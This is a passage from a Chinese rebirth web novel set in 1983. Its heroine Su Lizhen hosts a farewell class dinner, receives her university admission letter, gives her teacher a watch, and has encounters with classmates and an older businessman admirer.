不过不提火锅和卤味,他们中的大多数是直到今天才知道,原来班长家的其他菜品也能这么好吃。 真是吃一口就惊为天人! 一时间,大家甚至都顾不上说笑,一个个抡圆了筷子纷纷埋头苦吃起来。 今天为了预备苏丽珍这顿同学宴,饭店特意闭店半天。苏厚德更是亲自下厨,煎炒烹炸,使出了一身本事。这席面别说这群刚从校园里出来的大孩子们,就是个挑嘴的老饕也得竖起大拇指。 后厨里,苏卫华和李翠英瞅着孩子们吃菜的速度有些快,忙又端着菜盆出来给大伙儿添菜。 “来、来,孩子们,喜欢哪个就多吃点!不够了,阿姨就去做,咱这东西都是现成的,上午你们还带了那么多菜过来。所以大家千万别客气,咱今天管够吃。” 这次苏丽珍请客,除了现在班级的同学,还有一部分高二分班前原班级的人。 比如谢芳芳和卢向阳,分班后学理,就离开了原先的二班。 所以两部分人加一起,数量就多了,将近六十人。 这么多人,任谁也不好意思单让苏丽珍一人请客,后来大伙儿一商量,干脆有钱的就出一份钱。 家里不宽裕的,如果家在农村,就从自家菜园子里带点儿蔬菜过来;要是城里没有土地的,就当天早点过来,帮着苏家人多干点活。 主打一个有钱出钱、有力出力。 苏丽珍见大家一再坚持不让她独自出钱,也不忍拂了这番心意,于是就让她爸妈收了一部分菜钱。席面上的特色卤味、饮料汽水和各种主食都不算在内。 大家吃着香喷喷的饭菜,心里也清楚就他们凑的那点钱和菜,哪里能吃得上这么好的席面,想来应该还是班长在补贴他们。 所以一见苏爸爸和苏妈妈这么热情地态度,大伙儿心里暖洋洋的,就是有些不太好意思。 苏丽珍正挨桌给大伙儿添饮料,见状笑道:“我爸妈说的是。而且真说起来,咱们这顿同学宴等到今天才吃上,也是因为我的不是。当初明明说好高考一结束,咱就热热闹闹吃一顿,结果让大家为了等我,硬是给拖到了今天。” 整个83年的上半年,苏丽珍都过得格外忙碌又充实。 一边是全身心投入,准备迎接即将到来的高考; 另一边,经过她和苏振东这两年的不断努力,如今“珍珍”特色卤味熟食已经成为凤城家喻户晓的明星产品,知名度甚至辐射到周边城市。 所以两人商量了一下,觉得时机差不多,便在83年开春后向市政府申请拿下了40亩地的土地使用权,准备建厂开公司。 这40亩地在凤城郊区,地段位置整体上都不错,价格为每亩200元,使用期限40年,费用一次**齐。 这笔钱虽然不是一笔小数目,但是对如今的苏家来说也不算什么。 而且按照苏丽珍的想法,这么好的地理位置,她是想要一口气拿下至少百亩以上的,无奈市里一直不肯松口。 即便是眼下他们能顺顺当当拿下的这40亩地,也是多亏了谢芳芳的父亲,如今的谢市长关照,要不然还不知道要来回扯皮多久。 拿下地皮后,他们又马不停蹄地安排人手盖厂房,订制设备,和市政各部门沟通协作,以最短的时间解决路面、通电、自来水等等基础设施问题。 等将这些安排妥当,一切开始有条不紊地进行后,时间已经来到四月底,距离高考不足百天。苏丽珍便把手头上剩余的工作全部交给苏振东,自己专心投入到复习当中,准备全力以赴迎接高考。 六月底,高考结束。学校的老师们亲自给苏丽珍的试卷估分,确定她报考第一志愿首都京大基本没有问题。 七月下旬,高考成绩出炉,苏丽珍考出了凤城市文科第一、全省第二的好成绩。 七月底,首都京大招生办给苏丽珍的母校市一高打来电话,确定了苏丽珍被京大经济管理系录取。录取通知书大约在八月上旬能寄到凤城。 然而苏丽珍那时已经不在凤城了。 几乎是七月初估分一结束,她从老师那里确定了自己这次高考发挥的不错后,就马不停蹄启程,与苏振东一起南下去了海市。 因为在苏丽珍备考、应考期间,工厂那边进度飞快,厂房盖好了,生产线也安装到位,市内几家百货商店的销售渠道也已经谈妥t,随时可以铺货。 如今只差了一步包装环节。 加工食品的包装保存问题始终是个难点。比如他们的卤味,第一、四季度存放在阴凉干燥处,保质期可以达到5—7天,二、三极度却只有2—3天,尤其是闷热的三伏天,稍微不注意可能一天就变质了。 即使是添加防腐剂,在确保不影响食物本身的安全和口味的前提下,至多也就是延长个5—12天,冬天顶多能达到20天。 但是如果采用抽真空包装技术,这个保存期限就可以再次延长。 苏振东之前跑遍了凤城市各大生产包装设备的厂家,都无法提供这种真空包装设备。 后来是苏丽珍循着记忆翻看从前的报纸,找到了有关1975年我国的第一台真空包装机在海市诞生的新闻。 然后顺着这个方向托人打听,确定如今海市已经有好几家企业能够生产真空包装机。 而最早研制出国内首台真空包装机的企业近两年更是在该技术领域取得不小进步,已经研发出了功能更好、效率更高的二代产品。 所以苏丽珍和大家商量了一番后,决定亲自去一趟海市看看。 大伙儿自然不能让她一个人走,所以前段时间一直在车间里参与调试设备、有了一定操作经验的苏振东也跟着一起去了。 两人从七月初出发,到达海市后,在谢芳芳小姑姑帮助下,顺利和海市的企业签订合同,一口气订购了十台最新技术的真空包装机。 此外,难得来一趟海市,谢芳芳的小姑姑还牵线,安排他们去海市几家大型食品厂参观学习。 听说苏丽珍还参与经营了一家建筑建设公司,谢小姑姑就亲自带着她去看了海市这两年新建和在建的几个大工程,又拜访了一些资深的业内人士。 苏丽珍从中受到了不小的启发。 海市真的是一座充满机遇和挑战的城市,几乎是一天一个面貌的飞速发展更是让苏丽珍震撼、着迷。 在她盘桓于此的二十天时间里,她有时会误以为自己仍身处米国,但身边熟悉的同胞面孔和语言总会让她快速回神。 同时,这里的一切也令她无比清晰地意识到脚下这片土地的巨大潜力,叫她心中的梦想更加炽热。 直到七月底,与给予了她巨大帮助的谢小姑姑依依惜别,坐上返程的火车,苏丽珍才结束了这次难忘的海市之行。 现在的火车很慢,到达凤城市时已是八月初了。 彼时,她刚从家人口中得知了首都京大确定录取她的消息,顾不上庆祝,又一头扎进了食品厂。 从海市学到了许多宝贵的经验,趁着还没正式投产前,有些地方还可以调整一下。 这么一忙又是三天,然后就在一次回家取东西的时候被谢芳芳和卢向阳直接堵到了家门口。 早前班上的同学们为了高考挑灯夜战的时候,曾共同约定等考试一结束,所有人要一起吃一顿大餐。可巧苏丽珍当时答应得好好的,可转头就去了海市,这一拖就拖到了今天。 偏偏卢向阳跟别人不一样,他考的军校,8月10号就要开学,然后入校进行封闭式训练,这顿饭要是再耽搁下去,恐怕他就赶不上了。 被提醒的苏丽珍这才直拍脑门,暗骂自己把这茬给忘了。 好一番道歉后,她和谢芳芳、卢向阳赶紧分头行动,开始四处联系大伙儿。所幸大夏天里日头热,就算是家住农村的同学也不怎么忙,苏丽珍他们一来找,大家也都表示随时能来。 于是大家就把吃饭的日子定在了两天后,也就是今天。 这会儿,苏丽珍给大家挨个补上了饮料,然后自己也主动提了一杯,向所有人郑重道歉,表示都因为她的缘故,才把这顿饭耽误到今天,害大家久等了。 用卢向阳的话说,如果不计较她杯子里装的是汽水的话,苏丽珍这样实在很有报纸上干部们接待贵宾的架势,把大家逗得哈哈直笑。 苏丽珍大大方方任大伙儿打趣,还说在她心里,大伙儿每一个都是重量级的贵宾。 笑闹过后,许多人却也不免心生感慨。 从前在学校里的时候,班长学习用功,成绩好,待人也和善,无论谁遇到困难,她总会尽力帮一帮。 大家提起她,更多的是被她的人品、性格所折服。想到她,第一感觉就是亲切又值得信赖。 但是离开学校后,他们中的一部分因为落榜不得不结束美好的校园生活,主动或者被动地走入社会,努力去争取一份能养活自己的工作。 也是在这个时候,他们开始意识到自己与那些考上大学的同学们的差距。 要说没有丝毫的嫉妒,那是假的。巨大的失落感甚至还会让他们萌生出不公平的想法。 “我也一样很努力,为什么会考不上呢?” “我其实也不比她/他差的,最后一次摸底考,我成绩还在她/他前面……” 诸如此类的想法总会时不时地在心底冒头,难免让人烦躁。 可在知道了班长的事后,得知她不但考上了国内最好的大学,还一直在忙着筹备开办工厂。甚至高考刚结束,在大家都认为应该吃吃玩玩好好放松的时候,班长就不辞辛苦跑去海市采购一种他们听都没听过的设备…… 那一刻,他们内心是十分震惊的! 如果说之前落榜的差距让他们在失落的同时,也忍不住滋生出一点阴暗情绪。可跟班长之间犹如天堑一样的巨大差距,反而让他们生不出任何不好的想法了。 比你有能力的人还比你更努力,哪怕是已经取得了极优秀的成绩也丝毫不能让她放慢向前奔跑的脚步。 试问,身边有个这样出色的榜样,他们还有啥资格动不动沉湎在自己那点负面情绪里呢? 有这时间还不如检讨一下过去的自己,是真的做到了全力以赴吗? 或者好好冷静一下,对未来作出一个合理的规划。 高考结束了,可他们的人生才刚刚开始。 一次落榜,不代表今后他们会次次“落榜”! 许多人默默调整心绪,开始给自己打气,同时心里更坚定了一个信念——一定要向他们的班长学习。 不知道是谁,率先起了头,拿着饮料杯走到苏丽珍面前。 “班长,我敬你一杯,谢谢你!” “班长,我也敬你!” “还有我!这话我早就想说了,班长,你一直都是我的榜样……今后就算不在学校里了,我也会一直把你当作我学习的目标!” 谢芳芳瞅着那边热闹,正准备过去凑热闹,却被卢向阳等人一把拽住。 卢向阳小声道:“就让他们和珍珍多待一会儿,咱们别过去打扰。” 谢芳芳起先还有些不解,直到看见围着苏丽珍的那一撮人里,有好几个眼圈都泛了红。她忽然就想起来,这些同学都是高考失利,与大学失之交臂的人。 不少人都看出了这些同学的失意,大家也都默契地没有上前打扰,更是装作没有看到里面两个人在偷偷擦眼角。 落榜的同学围着苏丽珍说了好一会儿话,既是对过去美好校园生活的留恋不舍,也是从他们心中的榜样身上汲取力量,好更加勇敢地去面对未知的未来。 苏丽珍也努力地回应着大家的每一句话。 她握着两个红了眼眶的女同学的手,像过去的三年一样,希望自己能够再次帮助和鼓励到他们。 就算她能做的十分有限,她也希望自己能够带给这些信赖自己的人一些安慰和支撑。起码让他们有多一点的信心和勇气去面对未来。 大家拉着苏丽珍说了一会儿话,正好这时苏卫华和李翠英端着饺子、炒饭等主食出来,见他们这些人只顾着凑在一起说话,饭都顾不上吃了,赶忙招呼大伙儿先吃东西。 所有人又重新落座后,其他人顾忌着落榜同学的心情,说话便有些小心翼翼。 落榜的人看到大家小心翼翼地样子,反而有些过意不去。 其实他们现在已经想开了,与其纠结过去,还不如放眼未来。 今后他们会以班长为自己的榜样,不管在哪里都会好好努力。 想明白了之后,他们的心态变得平和,也开始主动跟其他人说笑互动。 大家边吃边聊,时而回顾一下过去三年发生在同学之间的趣事,时而彼此分享一下桌上自己喜欢的菜肴。 气氛很快又恢复到了之前的轻松愉快。 直到一桌人吃得、聊得都尽了兴,有些男生坐不住,开始端着饮料杯和饭碗往别的桌上窜t,找这个“敬酒”,找那个说心里话,忙得不可开交。 到后来,连带女生们也开始互相“窜桌”。 苏丽珍一直没怎么动,她身边来来去去始终有人。 起初是女孩子们,后来男生里赵猛和张光明打头,两个人一起给苏丽珍敬了一杯饮料。 两人感谢她和卢向阳这三年对他们的关心和帮助。尤其是高一那年,如果不是苏丽珍细心,及时发现了他俩的困境,搞不好那时他们哥儿俩一时冲动就走错路了。 苏丽珍也真心为他们高兴。 赵猛凭借出色的歌唱天赋在省内举办的青少年歌唱比赛里名列前茅,还考上了凤城的音乐学院,未来可期。 张光明也考上了本地的师专,将来毕业后教书育人,前景也很不错。 截止到目前,他们俩的人生轨迹已经与上辈子完全不同。 苏丽珍从没想过要做谁的“救世主”,但不可否认,当看到有人因为她的影响,改变了上一世糟糕的结局,从而走上一条更接近光明、美好的人生之路时,她也会从中感受到一点自己重生的意义。 有赵猛和张光明起头,很多男生也过来给苏丽珍“敬酒”。 气氛到这会儿,又多少带了点伤感。 毕业即代表分离,大家马上要各赴前程,谁也不知道等在前方的是机会更多、还是困难更多。 可人生就是如此,相聚时欢欣,分别时悲伤。起码此时此刻,大家相聚一堂的快乐会被每个人铭记,今后在历经人生百味后,偶尔拿出来放在心头回味一番,也是一种别样的温暖。 这就够了。 最后卢向阳提议,让赵猛起头,大家一起唱了一首时下很受欢迎的《年轻的朋友来相会》 这次同学聚会也在那句嘹亮的“再过二十年我们重相会”中结束。 当同学们陆续离开后,苏丽珍站在门口,看着已经空旷的大厅怔怔出神。 她上辈子没活到二十年后; 重生后,也一直没去想过。 可现在,她心底忽然就萌生出一股渴望,她也想看看二十年后的自己会是什么样。 此生,在赎罪之外,她能不能也对未来的自己怀有一点期待呢? 第153章 同学聚会后没两天,苏丽珍、谢芳芳和另外几个要好的同学一起送走了卢向阳。 火车开走的那一刻,看着恨不能探出半截身子朝他们拼命挥手的卢向阳,谢芳芳忍不住哭了。 苏丽珍也红了眼眶。 但她还是强打起精神安慰谢芳芳。 “别难过了,顶多再过半年,咱们就能再次见到向阳了。” 谢芳芳擦了擦眼泪,语气庆幸道:“还好珍珍,我们都考了首都的学校,平时还可以常见面。” 谢芳芳理科成绩非常好,这辈子也没干出疯狂追求外班男同学的傻事,加上受苏丽珍影响,高三一整年很是收了心,整个人都扑在学习上。所以这次高考的成绩也很好,考上了首都理工大学。 苏丽珍点头,跟她保证道:“放心吧,咱们离得近,只要你想我,我随时都能去看你。而且咱们同一座城市,通信也更快啊。” 听她这么说,谢芳芳的心情才好了一点。 送走了卢向阳后,又过了两天,学校给苏丽珍打电话,说是京大的录取通知书邮到了。 她撂下电话,第一时间就赶到了学校。 当从李老师手中接过那张录取通知书的一刻,苏丽珍清晰地听到了胸腔里心脏剧烈跳动的声音。 这份录取通知书明明如此轻巧,落在她手上、心头却厚重得惊人。 它承载了她太多的期待,同时,也是对她这三年来所有努力的认可和肯定。 如果帮助她重生的老天爷哪一天想看一看她今生的样子,那这一纸薄薄的通知书是她交给神明的第一份满含诚意的答卷。 拿到了录取通知书,苏丽珍也没忘记此行的另一个目的。 今天,她给所有教过她的老师们都准备了一份礼物。 礼物分别是一支英雄牌钢笔和一块从海市带回来的蚕丝小方巾,方巾叠好和钢笔一起用一个长方形丝绒礼盒装好,精巧又别致。 而对于她最敬爱的班主任李老师,除了这个小礼盒外,她还单独为他准备了一样礼物——一块梅花牌手表。 李老师手腕上原本就戴了一块梅花牌手表。只是去年刚入冬的时候,凤城下了一场大雪,有一天晚上下晚自习,李老师下班没注意就摔了一跤,当时手腕就肿了好几天。 自那以后,他的那块手表就开始频繁出状况。苏丽珍平时进出办公司送试卷和作业的时候,就看到过两回他跟别的老师对时间。 李老师一直没舍得换掉这块表。所以今天她特意准备了一块同样梅花牌的手表送给他,也算是尽自己的一点心意。 她永远也忘不了上辈子因为她在学校里一意孤行,被其他的老师和同学暗自厌恶排斥的时候,是已经分班了的李老师几次找到她,苦口婆心地劝告,希望她能收心,认真学习,以后考个好学校。 可惜那时的她狼心狗肺,根本不珍惜这份难得的善意,甚至只觉得他多事,完全辜负了李老师的一片心意。 这辈子,她用三年勤学苦读换来的好成绩回报了李老师。如今分别之际,她只希望这份承载着感激与敬爱的礼物能够最后帮助到她的李老师。 而在苏丽珍走后,当独自坐在办公室的李老师打开手里那个不起眼的小方盒,看见里面居然是一块梅花手表时,整个人都愣住了。 他已经从其他科任老师那里得知,苏丽珍刚刚给每一位教过她的老师都送了一份礼物。 这礼物分别是一支名牌钢笔和一块漂亮的蚕丝方巾,统一装在一个红丝绒面的盒子里。单那个丝绒盒子看着就格外精致,可见这孩子的用心。 所有收到礼物的老师都感慨不已,大家也都纷纷向他祝贺,说他教出了一个知恩懂礼的好学生。 收到礼物固然令人高兴,但更难得的,是礼物背后蕴含的这份心意。 李老师自己也收到了一样的丝绒礼盒,所以从其他老师那里知道了盒子里装的是什么后,就没急着打开。 倒是留意起苏丽珍单独送给他的一个正方形的小盒子。 这小方盒外表看着平平无奇,就是普普通通的黄色油纸糊成的硬纸盒,他只以为里面是学生们自己制作的卡片或者收集的老邮票(之前收到过学生这样的礼物)。 所以当苏丽珍把这盒子递过来,说是专门送给他的时候,他也没多想就笑呵呵地收下了。 哪成想这里面居然是一块崭新的梅花牌手表! 看着这块手表,李老师下意识就把目光转向此刻自己手腕上戴得那一块。自从去年入冬摔了一次后,这块手表就经常对不上点,他几乎每天都要跟人对一次时间才行。 妻子劝他再去买一块。可是他和妻子虽然都是老师,但家里上有一对高堂,下面还要供养三个正在念书的孩子,每个月的工资也是紧紧巴巴。 所以一直不舍得换新表。 没想到,那孩子不知道什么时候留意到了,如今就送了他一块新表。 说不感动是假的,学生能送他这样的礼物,说明她也时刻关心着他这个老师。 被自己的学生如此真切地关心,这是每个老师的殊荣。 对他来说,教过的学生有这份心就足够了。 但这块表他不能收。 他知道梅花表有好几个款式,而他手里这块是时下最贵的一款,要他和妻子两个人两个月的工资才能够买下来。 所以他不能收孩子这样贵重的东西。 这么想着,李老师赶忙把手表放回到那简陋的小方盒里,准备给苏丽珍退回去。 却在这时,他忽然发现小方盒底部还有一张小卡片。 他赶忙拿出那张卡片,只见上面写着:李老师,礼物有价,师恩无价。这块手表是学生用自己的双手挣到的,它寄托了我对您永远的祝福,只盼李老师一切顺心如意。 短短几句话道尽了这个孩子对他的尊敬和爱戴。 担心他不收,甚至还强调了这表是她用自己挣到的钱买来的。 贵重的不是这块表,而是这孩子那颗真诚的心。 李老师静静坐了许久,直到临近下班,他才反应过来,慢慢摘下眼镜,擦了擦湿润的眼角。先是把那张卡片连同小方盒一起珍重地收好,然后才默默摘掉手腕上的旧表,换上了那块新表。 丽t珍同学,老师接受你的祝福。 你是老师的骄傲,老师也祝福你,前程似锦,鹏程万里。 苏丽珍从教学楼出来,并没有急着离开。 因为是暑假期间,这会儿学校里基本没什么人,又正值盛夏时节,甬路两侧草木葱茏,小花坛里鲜花争艳,景色十分优美。 高中三年,她一心扑在学习和家里的店铺上,这还是她这辈子第一次静下心来好好欣赏校园里的一草一木。 算起来,她前世今生在这所学校的时间加一起已经快有十年了。 上辈子,她对这里只有无尽的厌烦;而如今,更多是却是留恋和不舍。 她信步走至路边一棵茂盛的丁香树下。 这个时节,丁香的花期已过,但苏丽珍仍记得,每到暮春时节,丁香花开,满园飘香的场景。 下一次它开花时,她应该已经在千里之外的京大了。 不知道京大有没有丁香,而那边的丁香开花时会不会像她眼前这棵那样美呢…… “苏丽珍?” 正当她望着丁香树出神之际,身后忽然响起一声轻唤。 她闻声回头,看见来人时微微一愣。 齐秀婷朝她微微一笑:“苏丽珍同学,不知道你记不记得我,我是理科一班的齐秀婷。” 高一没分班的时候,齐秀婷和沈哲在一班,苏丽珍是二班,两个班的语文都是李老师来教。 一班的语文课代表跟齐秀婷关系很好,所以苏丽珍平时往李老师办公室跑的时候,偶尔看到过陪同的齐秀婷。 后来高二分班,李老师不再教理科班语文,她和齐秀婷碰面的机会也就少了。 而且说来凑巧得很,因为苏爷爷和沈瑞的关系,近两年,他们家和沈哲的父母,也就是沈瑞的二哥、二嫂是有来往的,两家长辈每逢年节总要互送礼物看望。 可偏偏每次苏丽珍都被各种各样的事情拌住,别说沈哲和齐秀婷,就算是沈家二哥、二嫂,她也时常碰不上。 所以严格意义上,她们俩这辈子目前还属于陌生人。 但是对于苏丽珍来说,她对眼前这个容貌、家世远胜于自己的女孩却一点不陌生。 她一度曾是苏丽珍心底最为嫉恨的人。因为她总能陪在沈哲的身边,而沈哲的眼里从头到尾也只有她。 也因为沈哲对她坚定不移的爱,所以她总是那么气定神闲,看着苏丽珍的眼神里永远只有嘲讽和同情。 除了最后一次在米国她真正意义上出言打破了苏丽珍最后的幻想和薄弱的自尊外,平常更多时候,她甚至懒得多看苏丽珍一眼。 实话实说,易地而处,她不见得能有齐秀婷这样的好脾气。 刚重生那会儿,她是不愿、也不敢面对这个女孩子的。可现在,在她让父母和大勇哥他们过上了好日子,又找到苏爷爷,帮他留下了振东叔,保护芽芽顺利度过那场死劫后,她也终于磨砺出足够的勇气去面对。 面对曾经深深伤害的人,也面对曾经糟糕不堪的自己。 脑海中有关前世的种种一闪而过,最终定格在眼前少女那双真诚的眼眸间。 苏丽珍不着痕迹地吸了一口气,然后回以对方同样善意的微笑:“你好,齐秀婷同学,我是苏丽珍。” 顿了顿,她又道:“其实我一直都知道你,你很漂亮,也很优秀。” 这句话她是真心的。齐秀婷长相出众,人也聪明知礼,家世更是跟沈哲旗鼓相当,两人是各种意义上的般配。 齐秀婷没想到她会这么直白地夸赞自己,脸上笑意更浓,大大方方道:“谢谢,不过不知道你信不信,你这句话原本正是我要对你说的。” 苏丽珍听出她这话也说得真心,不由笑道:“我相信你,优秀的人一向眼光好,所以我也应该说一句谢谢。” 齐秀婷“噗嗤”笑出了声:“我果然想的没错,你真的是个很有意思的人。” 她说着,主动朝苏丽珍伸出右手:“其实我很早就想认识你了,我经常听苏爷爷和沈太爷爷他们提起你,可惜之前总是错过。没想到今天倒是得偿所愿了。” 苏丽珍便也伸手回握住她:“荣幸之至。” 齐秀婷笑道:“我知道你考上了京大,祝贺你。” 苏丽珍知道她和沈哲跟上一世一样,都报考了首都外国语大学,便也道:“谢谢,我也祝贺你。首都外国语大学很厉害,对于你们来说优势更强。” 齐秀婷的家族是外交官世家,她自小就会多种语言,尤其英语更是格外流利,这在他们学校也不是什么秘密。 外语确实是齐秀婷的强项,听苏丽珍这么说,她目光中不由闪过自信的神采:“不怕你笑话,我也是这么想的,而且考上首外也是我的第一目标。” 只是第一目标,接下来还有第二、第三,更多的目标。 这个过程必然辛苦,甚至艰难,但当所有的目标都实现,就是收获理想果实的至美时刻。 有些话不需要说出来,同样有梦想、并为此全力以赴的人自然会明白。 齐秀婷知道苏丽珍懂她的意思,因为对方恰恰也是这样的人。 两人不由相视一笑。 齐秀婷这次也是和沈哲一起来拿录取通知书。 所以简单聊了两句,她们就分开了。 “苏丽珍,以后都在首都,希望能经常跟你见面。” 苏丽珍点了点头:“好。” 她看着齐秀婷转身朝教学楼走去。 教学楼的雨搭下有一道颀长挺拔的身影。 那是沈哲。 虽然离得远,但苏丽珍仍然能感受到沈哲的目光始终在关注着这边。 准确地说,是关注着齐秀婷。 她将目光再次投向齐秀婷的背影,忽然喊了一声:“齐秀婷。” 齐秀婷应声回头,那双看着她的漂亮杏眼中略带疑问。 苏丽珍却只是朝她一笑:“齐秀婷,祝你们幸福!” 齐秀婷愣了愣,反应过来,迅速回头看了眼。 只见原先一直等在教学楼门口的沈哲见她突然停住,以为她这边有什么状况,正大步往这边走来。 少年人的爱意就像熟透的果子,随时散发着甘美的芳香,根本藏也藏不住。 齐秀婷美丽的面庞上立即浮起一片绯红,虽羞涩,却还是落落大方地对苏丽珍笑道:“谢谢,你也是!” 沈哲身高腿长,很快就赶了过来。 确定齐秀婷没什么事后,他朝着苏丽珍的方向微微点头示意,便牵起齐秀婷的手离开了。 齐秀婷最后朝苏丽珍挥了挥手,便在她含笑的目光中回过头。 两个人一起慢慢走远。 被沈哲牵着手走出一段距离的齐秀婷这会儿才后知后觉地意识到,她刚刚好像说错了话。 人家祝福她和哲哥,她道谢就够了,还多嘴说了一句“你也是”。 可跟她和哲哥这对“反面教材”不一样,人家苏丽珍在校期间可没有一点早/恋传闻。 自己这么说,倒像是不怀好意似的。 她不禁有些后悔,可转头一想,对方马上也要念大学了。 这几年风气开放,大学校园里处对象也不算什么大事。 苏丽珍气质如此出众,尤其那一身雪白的皮肤,站在大太阳底下好像会发光一样。而且听说她还很能干,家里的生意能做大半的主,现今她家的饭店和卤味在凤城可是赫赫有名的。 这么优秀的女孩子在大学里肯定有很多人追求,京大又人才济济,说不定她也很快能碰到喜欢的人。 那她刚刚那句祝福就不算过分了吧? 苏丽珍一直站在原地,久久地看着沈哲和齐秀婷离去的背影,直到再也看不见时,才轻轻一笑。 真好。 偏这时,一道低沉的声音忽然在她侧后方响起,距离近到直接炸起了她耳后一片鸡皮疙瘩。 “什么真好?” 第154章 苏丽珍一惊,慌忙回头,却因为跟身后之人挨得太近,结果不偏不倚撞在了对方身上,随即又被一双温暖干燥的手掌稳稳扶住。 “沈大哥?” 来人正是沈瑞。 两年前沈瑞送了她两台冰柜,苏丽珍考虑过后,最终还是决定在他再次来凤城的第一时间把冰柜货款补给了他。 原本她还担心沈瑞不肯收,没想到对方当时并没说什么就收下了,着实让她松了口气。 虽说是付了钱,但苏丽珍还是着重表达了感谢,同时也表示自己仍欠对方一个人情。 沈瑞那会儿听完只是一笑,还好这个人情很好解决。只要苏丽珍以后再见t到他的时候,不要一口一个“沈先生”,像周明义那样,叫他一声“瑞哥”就好。 这个要求虽说有点意外,但苏丽珍也没多想。 只是觉得喊“瑞哥”有点太过亲密,便折中一下,称呼对方为“沈大哥”。 沈瑞也同意了。 也不知道是不是因为叫了这声“大哥”,苏丽珍这两年倒是同对方越发熟络起来。之前那些或是因为前世、或是出于自己内心不安的种种芥蒂也都淡去了,两人现在也称得上一句朋友。 沈瑞见她站好,一边收回手,一边不着痕迹地退了一步,让双方的距离在合适的社交范围内,然后第一时间道歉:“刚刚是不是吓到你了?抱歉。” 苏丽珍抬头,对上对方略带歉意的眼神,心里却有一丝别扭。 虽说她刚刚确实有些走神,可不管是先头那句几乎贴着她耳膜说的话,还是一瞬间被不属于自己的气息突然包围的入侵感,都让她感到了强烈的不适。 那样的距离未免太过亲近,尤其是对于异性,就算是平常关系不错的友人做来也很冒昧。 可当她看向对方那张优雅俊秀的面孔时,又觉得也可能是自己过于敏感。 毕竟这张脸,这个人,真的很难叫人跟“不知分寸”四个字联系到一起。 于是,她只摇了摇头:“没关系,是我刚刚想事情想得太入神了。” “沈大哥这次什么时候到的?今天是来送沈哲拿录取通知书吗?” 这两年沈瑞在南方特区的企业发展得很好。尤其是那家家电公司,据说年前又加了几条生产线,但订单仍然多到排不完。 也因为家电公司发展势头强劲,他经常会找孟知祥请教一些技术上的问题。 所以这两年,他便频繁地两地奔波,苏丽珍倒是每隔一段日子就能看到他。 沈瑞闻言也点了点头,道:“昨天晚上到的。今早听说小哲他们的录取通知书到了,我就送他们一块儿过来了。” 他现在非常庆幸自己的这个决定。 事实上,刚刚在车上,他比齐秀婷还先看到她。 她穿着一身白裙子,乌黑的长发用一条淡蓝色的手帕扎在脑后,一个人静静站在那棵树下,仰头望着上面一丛丛碧绿的枝叶,神情专注到虔诚。 那幅画面透过他的双眼,一瞬间就印在了他的心底。 那一刻,他是如此强烈地想要靠近她,靠近她的心扉,去聆听她内心的声音。 他甚至不由自主地推开了车门,起身要朝她走过去。 幸好,车后座的小婷一声赞叹,让他回过神,没有冲动之下,在孩子们面前暴露自己的秘密。 “是苏丽珍!她总能让人一眼就注意到……真美。” 是啊,真美。 尤其是刚刚受到他惊吓时,难得惊慌失措的样子,少了她平日里的沉静从容,多了几分少女的羞涩不安,美丽中又透着可爱。 他在心底悄悄回味刚刚的“意外收获”,面上则认真道:“听说你考上了京大,恭喜。” 苏丽珍没想到他人昨天才回来,今天就知道这个消息了。 “谢谢。”出于礼貌,她也顺口打听了一句,“沈大哥这次回去还顺利吗?那笔大单子接下了?” 按她知道的,沈瑞这一趟是在她高考结束后走的。听说是接了一个特别大的订单,周明义自己在那边都不敢做主。 沈瑞闻言一笑:“是爷爷告诉你的吧?” 以往这些事都是碎嘴的周明义四处宣扬。只是这次情况特殊,他们的另一家建材厂设备出了点问题,周明义两边应付,是真正忙到没时间打电话扯闲篇了。 不过没有周明义,还有沈家老爷子。 老人家自从两年前跟苏丽珍通了一次电话后,便觉得跟她十分投契,之后每每跟苏厚德通话时,也总喜欢找她说说话。一来二去,一老一少就有了点“忘年交”的意思。 只是沈老爷子平时怕耽误她学习,只礼拜天的时候会跟她通电话聊上一阵。 后期高考临近的这小半年,老爷子就是礼拜天也不敢找她。等高考结束,苏丽珍又跑去了海市,让老爷子很是憋闷了一阵。 上周打电话,老人家在电话里直说想她这个“忘年交”想得很,属实让苏丽珍有些愧疚,便陪着他唠了好一阵。 也是从电话里,她听沈老爷子说起沈瑞的公司接了笔特别大的订单,整个人越发忙碌,原本说好近期回家看望他的事也告吹了。 见苏丽珍点头,沈瑞不禁苦笑一声:“爷爷肯定又跟你抱怨我不回家了。” “这次的订单数目确实不小,所幸交货的时间还不算紧张,操作得当的话,应该能顺利完成。” “不过经过这次,我打算在津市和凤城两地再建两家分厂。今后北方的单子都会陆续转移到这两家新厂上。” 苏丽珍点头表示了解。这样做既能分担特区工厂的订单压力;同时,津市和凤城作为华北、东北地区的重要交通枢纽,在那边建厂,无论是原材料采购还是后期货物交付,都能节省许多运输成本。 而且家电类品牌想要长久经营总躲不过一个售后问题。在北方建立分厂,那么针对这一部分市场的售后问题就能得到一定保障,对后期市场扩张就起到了积极作用。 沈瑞见她眼中一闪而过的了然神色,唇角不禁微微勾起,旋即又主动道:“对了,光顾着说我的事了,你的食品公司筹备得怎么样?我听东哥的意思应该这个月能正式开业吧?” 苏丽珍点头:“现在手头上还有些零散的事,不过问题不大。我们计划在8月22号正式开业,沈大哥,到时希望你能来参加我们的开业典礼。” 沈瑞笑道:“这是自然,我那天一定准时到场。” 他专注地看着眼前的人儿,看着她那双因为提及自己的事业而绽放出夺目神采的眼眸,有一瞬间的目眩神迷。 “珍珍,也许这么说会显得我有些自大……但是办公司这方面我多少还是有一点经验的。如果你需要什么帮助,请一定要告诉我,让我帮你,好吗?” 他的语气太过认真,苏丽珍不由微微一怔。下意识抬头看向他,却直直撞入对方那双格外深邃的眼神里,心头不禁一跳。 没让自己多想,她压下心底异样的感觉,把自己的思绪集中在刚刚沈瑞的话上。略一思索,倒是没拒绝对方的好意。 人看得越多,就越清楚“山外有山,人外有人”的道理。有时候,不是说她足够努力,就一定会有回报。 而生意场上更是瞬息万变,往往功败垂成就在一念之间。危急时刻如果能有个强而有力的外援,不说危机能迎刃而解,起码能给自己争取多一点的时间或者多一条的出路,这就比什么都强。 不过,就算不基于这些现实的考虑,沈瑞的这份真心也足够难得。 于是,她也主动跟对方道:“那咱们说好了,沈大哥,如果你在凤城办新厂,有什么是我能做到的,你也尽管开口。” 能不能做到是一方面,起码态度得先亮出来。 再说,三十年河东,三十年河西,说不上哪天就能做到了呢! 沈瑞只看着她那无意间流露出的斗志昂扬的眼神,便知道她在想什么,一时心里有些哭笑不得。 上进固然好,就是太不解风情。 也不知道要什么时候才能开窍。 苏丽珍对沈瑞说的公司开业前还有些零散的事,这话不假。 距离开业还有一周的时间,苏丽珍和苏振东依然每天有很多事要忙。 